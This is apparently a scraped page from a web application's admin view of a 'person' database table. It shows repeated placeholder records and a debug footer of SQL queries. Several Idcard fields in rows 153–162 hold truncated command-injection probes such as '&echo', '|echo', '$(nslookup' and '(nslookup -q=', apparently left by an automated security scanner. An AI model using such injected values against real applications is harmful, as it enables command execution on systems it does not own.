person

Person ID
Idcard
Name
Position
Address
Phone
Date
Person Type ID
Department ID
Cumulative
Year
Balance
Status Person ID
    
143 1 QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 0 1 1,967 1 1
144 1 QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 0 1 1,967 1 1
145 1 QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 0 1 1,967 1 1
146 1 QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 0 1 1,967 1 1
147 1 QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 0 1 1,967 1 1
148 1 QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
149 1 QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 0 1 1,967 1 1
150 1 QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 0 1 1,967 1 1
151 1 QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 0 1 1,967 1 1
152 1 QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 0 1 1,967 1 1
153 echo pqghfx$( QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
154 1 QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
155 &echo czx QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
156 1&echo gs QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
157 |echo pmnsaw$ QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
158 1|echo gwkpzh QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
159 (nslookup -q= QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
160 1 QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
161 $(nslookup -q QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
162 &nslookup QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1

Debug

sql: SELECT COUNT(*) FROM `person`, executionMS: 6.4849853515625E-5

sql: SELECT * FROM `person` LIMIT 20 OFFSET 140, executionMS: 0.00035500526428223

Page processing time: 0.081126 seconds